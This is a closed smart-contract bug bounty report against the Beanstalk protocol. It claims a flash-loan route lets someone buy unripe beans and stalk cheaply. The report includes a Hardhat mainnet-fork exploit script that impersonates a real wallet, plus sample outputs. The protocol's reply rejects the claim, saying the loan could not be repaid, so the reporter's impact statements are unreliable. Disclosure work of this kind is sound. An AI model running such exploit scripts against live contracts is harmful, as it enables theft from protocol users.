📄

Report #26873

Report Date
December 13, 2023
Status
Closed
Payout

Unripe unintentional for sale with flash loan, stalk available for cheaper than 1 bean

‣
Report Info

Report ID

#26873

Report type

Smart Contract

Has PoC?

Yes

Target

Impacts

  • Illegitimate minting of protocol native assets
  • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
  • Permanent freezing of funds

Bug Description

Using flashloans, it is possible to deposit many ETH to the Well, convert unripe, remove ETH from well, and flashloan return the ETH, making so one can purchase Unripe at price of 1 ETH = 8000 Unripe, for example, but the amount depends on unripe amount "purchased" (converted).

Also with this method, Stalk amount of 428,665 can be purchased for approx $286k, but normal price should be 1 bean for 1 stalk in new silo deposit.

In this example modify variable our_eth_balance amount and see how higher amounts results in cheaper unripe beans.

Impact

Makes no sense to use Beanstalk protocol normally (buy bean and put in silo), more sense to use flashloan attack and create more stalk for deposit. Also means that no logic to keep deposit in Beanstalk because infinite debt can be created for cheaper than debt is worth, so destroys value of entire protocol.

For extra profit/damage the attacker could create a contract to facilitate this attack and take a fee for performing attack.

This exploit is "Permanent freezing of funds" because attacker can simply create more and more debt, so all existing unripe funds are frozen, because debt would never be paid off.

Also this exploit is "Illegitimate minting of protocol native assets" because unripe can be created as much as you want, but it is not intentional of protocol. Also more stalk for cheaper than normal stalk for deposit.

Risk Breakdown

Difficulty to Exploit: Easy/Medium Weakness: "Illegitimate minting of protocol native assets", "Permanent freezing of funds" CVSS2 Score:

Recommendation

I saw for bounty payout requires POC code fix. For fix I would recommend to simply remove the unripe convert function. This means just comment out few lines of code. If you need example for full payout I can make one but I think you understand how this is simple to fix.

Proof of concept

Example code:

hardhat.config.js

require("@nomiclabs/hardhat-ethers");


module.exports = {
  solidity: "0.7.6",
  networks: {
    hardhat: {
      forking: {
        url: "https://rpc.ankr.com/eth",
        blockNumber: 18704195,
      },
    }
  }
};

exploit.js

// Beanstalk unripe exploit (c) etemenankii 2023
// @etemenanki_i
// Some codes from open source Beanstalk repos

const { ConvertEncoder } = require("./encoder.js"); //copy this file from bean repo protocol/test/utils/encoder.js
const { ethers } = require("hardhat");
const hardhat = require("hardhat");
const { BigNumber } = require("ethers");

const weth_contract_address = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
const bean_eth_well_address = "0xBEA0e11282e2bB5893bEcE110cF199501e872bAd";
const beanstalk_diamond_address = "0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5";

const provider = new ethers.providers.JsonRpcProvider("http://127.0.0.1:8545/");

async function setBalance(address) {
  //ethers.utils.parseEther("10000005").toHexString() = 0x845955b7792ca8ef40000
  await hardhat.network.provider.send("hardhat_setBalance", [address, "0x845955b7792ca8ef40000"]);
}

// From well_abi just need AddLiquidity event, RemoveLiquidityOneToken event and
// addLiquidity, removeLiquidityOneToken functions
const well_abi = [
  {"anonymous": false,"inputs": [{"indexed": false,"internalType": "uint256[]","name": "tokenAmountsIn","type": "uint256[]"},{"indexed": false,"internalType": "uint256","name": "lpAmountOut","type": "uint256"},{"indexed": false,"internalType": "address","name": "recipient","type": "address"}],"name": "AddLiquidity","type": "event"},
  {"anonymous": false,"inputs": [{"indexed": false,"internalType": "uint256","name": "lpAmountIn","type": "uint256"},{"indexed": false,"internalType": "contract IERC20","name": "tokenOut","type": "address"},{"indexed": false,"internalType": "uint256","name": "tokenAmountOut","type": "uint256"},{"indexed": false,"internalType": "address","name": "recipient","type": "address"}],"name": "RemoveLiquidityOneToken","type": "event"},
  {"inputs": [{"internalType": "uint256[]","name": "tokenAmountsIn","type": "uint256[]"},{"internalType": "uint256","name": "minLpAmountOut","type": "uint256"},{"internalType": "address","name": "recipient","type": "address"},{"internalType": "uint256","name": "deadline","type": "uint256"}],"name": "addLiquidity","outputs": [{"internalType": "uint256","name": "lpAmountOut","type": "uint256"}],"stateMutability": "nonpayable","type": "function"},
  {"inputs": [{"internalType": "uint256","name": "lpAmountIn","type": "uint256"},{"internalType": "contract IERC20","name": "tokenOut","type": "address"},{"internalType": "uint256","name": "minTokenAmountOut","type": "uint256"},{"internalType": "address","name": "recipient","type": "address"},{"internalType": "uint256","name": "deadline","type": "uint256"}],"name": "removeLiquidityOneToken","outputs": [{"internalType": "uint256","name": "tokenAmountOut","type": "uint256"}],"stateMutability": "nonpayable","type": "function"}
];

const weth_abi = [
  {
    constant: false,
    inputs: [ { name: "guy", type: "address" }, { name: "wad", type: "uint256" }, ], name: "approve", outputs: [{ name: "", type: "bool" }], payable: false, stateMutability: "nonpayable", type: "function",
  },
  {
    constant: false, inputs: [], name: "deposit", outputs: [], payable: true, stateMutability: "payable", type: "function",
  },
  {
    constant: true, inputs: [{ name: "", type: "address" }], name: "balanceOf", outputs: [{ name: "", type: "uint256" }], payable: false, stateMutability: "view", type: "function",
  },
];

const beanstalk_abi = [
  { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": true, "internalType": "address", "name": "token", "type": "address" }, { "indexed": false, "internalType": "int96[]", "name": "stems", "type": "int96[]" }, { "indexed": false, "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" }, { "indexed": false, "internalType": "uint256", "name": "amount", "type": "uint256" }, { "indexed": false, "internalType": "uint256[]", "name": "bdvs", "type": "uint256[]" } ], "name": "RemoveDeposits", "type": "event" },
  { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": true, "internalType": "address", "name": "token", "type": "address" }, { "indexed": false, "internalType": "int96", "name": "stem", "type": "int96" }, { "indexed": false, "internalType": "uint256", "name": "amount", "type": "uint256" }, { "indexed": false, "internalType": "uint256", "name": "bdv", "type": "uint256" } ], "name": "AddDeposit", "type": "event" },
  { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": false, "internalType": "int256", "name": "delta", "type": "int256" }, { "indexed": false, "internalType": "int256", "name": "deltaRoots", "type": "int256" } ], "name": "StalkBalanceChanged", "type": "event" },
  { "inputs": [ { "internalType": "bytes", "name": "convertData", "type": "bytes" }, { "internalType": "int96[]", "name": "stems", "type": "int96[]" }, { "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" } ], "name": "convert", "outputs": [ { "internalType": "int96", "name": "toStem", "type": "int96" }, { "internalType": "uint256", "name": "fromAmount", "type": "uint256" }, { "internalType": "uint256", "name": "toAmount", "type": "uint256" }, { "internalType": "uint256", "name": "fromBdv", "type": "uint256" }, { "internalType": "uint256", "name": "toBdv", "type": "uint256" } ], "stateMutability": "payable", "type": "function"
  },
];


const main = async () => {
  async function buyUnripe() {

    console.log('==================== buy unripe ====================');

    // Note this is not my wallet, just address found with unripe
    const walletAddress = "0xeafc0e4acf147e53398a4c9ae5f15950332cce06";

    const wallet = await ethers.getImpersonatedSigner(walletAddress);

    const weth_contract = new ethers.Contract(weth_contract_address, weth_abi, provider);
    const weth_with_wallet = weth_contract.connect(wallet);

    this.diamond = beanstalk_diamond_address;

    const well = new ethers.Contract(bean_eth_well_address, well_abi, provider);
    const beanstalk = new ethers.Contract(beanstalk_diamond_address, beanstalk_abi, provider);


    // Create some eth for us to use, this is like flashloan
    setBalance(walletAddress);

    // This variable can be changed to get a different rate of unripe per eth
    var our_eth_balance = ethers.utils.parseEther("500000");
    console.log("ETH balance for our account: ", our_eth_balance);

    await weth_with_wallet.approve(bean_eth_well_address, our_eth_balance);
    await weth_with_wallet.approve(weth_contract_address, our_eth_balance);

    await weth_with_wallet.deposit({
      value: our_eth_balance,
    });

    // Get our weth balance
    var our_weth_balance = await weth_with_wallet.balanceOf(walletAddress);
    console.log("WETH balance: ", our_weth_balance);

    console.log("Well: addLiquidity");

    const addResult = await well.connect(wallet).addLiquidity([0, our_eth_balance], "0", wallet.address, ethers.constants.MaxUint256, { gasLimit: 29000000 });

    const addReceipt = await addResult.wait();

    const wellInterface = new ethers.utils.Interface(well_abi);

    var addedDelta = BigNumber.from(0);
    var lpReceived = BigNumber.from(0);

    addReceipt.logs.forEach((log) => {
      try {
        const parsedLog = wellInterface.parseLog(log);
        if (parsedLog.name == "AddLiquidity") {
          lpReceived = parsedLog.args.lpAmountOut;
        }
      } catch (error) {
        // console.error(error);
      }
    });
    console.log("LP tokan from trade: ", lpReceived);


    // Convert unripe lp to unripe bean
    // This numbers specific for this user
    const convertTransaction = await beanstalk.connect(wallet).convert(ConvertEncoder.convertUnripeBeansToLP(174105211937, 0), ["-19986"], [174105211937]);

    const convertReceipt = await convertTransaction.wait();

    const iface = new ethers.utils.Interface(beanstalk_abi);

    var addedDelta = BigNumber.from(0);
    var stalkDelta = BigNumber.from(0);

    convertReceipt.logs.forEach((log) => {
      try {
        const event = iface.parseLog(log);
        if (event.name == "RemoveDeposits") {
          console.log("RemoveDeposits amount: ", ethers.utils.formatUnits(event.args.amounts[0], 6));
          addedDelta = addedDelta.sub(event.args.amounts[0]);
          console.log("Amount: ", addedDelta);
        }
        if (event.name == "AddDeposit") {
          console.log("AddDeposit amount: ", ethers.utils.formatUnits(event.args.amount.toString(), 6));
          addedDelta = addedDelta.add(event.args.amount);
          console.log("Amount: ", addedDelta);
        }
        if (event.name == "StalkBalanceChanged") {
          stalkDelta = stalkDelta.add(event.args.delta);

          console.log("StalkBalanceChanged stalk delta: ", ethers.utils.formatUnits(event.args.delta.toString(), 10));
        }
      } catch (error) {
        // console.error(error);
      }
    });


    // Now remove the liquidity we added at beginning
    const removeLiq = await well.connect(wallet).removeLiquidityOneToken(lpReceived, weth_contract_address, 0, wallet.address, ethers.constants.MaxUint256);
    const removeLiqReceipt = await removeLiq.wait();

    var weth_out = BigNumber.from(0);

    removeLiqReceipt.logs.forEach((log) => {
      try {
        const parsedLog = wellInterface.parseLog(log);
        if (parsedLog.name == "RemoveLiquidityOneToken") {
          weth_out = parsedLog.args.tokenAmountOut;
        }
      } catch (error) {
        // console.error(error);
      }
      return;
    });

    console.log("weth_out: ", weth_out);

    // Calculate ETH cost
    var weth_delta = our_eth_balance.sub(weth_out);

    console.log("RESULT: Cost of ", ethers.utils.formatUnits(weth_delta, 18), " ETH to recieve ", ethers.utils.formatUnits(addedDelta, 6), " unripe beans");
    var unripeBeanPerEth = parseFloat(ethers.utils.formatUnits(addedDelta, 6)) / parseFloat(ethers.utils.formatUnits(weth_delta, 18));
    console.log("Unripe beans cost per eth: ", unripeBeanPerEth);
  }

  await buyUnripe();

  console.log("==================== FINISH ====================");
};

main();

Example outputs:

RESULT: Cost of  143.937864450196709553  ETH to recieve  1180740.375785  unripe beans
Unripe beans cost per eth:  8203.125565987139
RESULT: Cost of  35.788542778566156655  ETH to recieve  277756.744298  unripe beans
Unripe beans cost per eth:  7761.05207793901

BIC Response

This is not a valid bug report because the amount of WETH that the account owns at the end of the transaction is going to be significantly less than the amount borrowed, and thus will not be able pay back the loan.

Due to these reasons, we are closing the submission and no reward will be issued.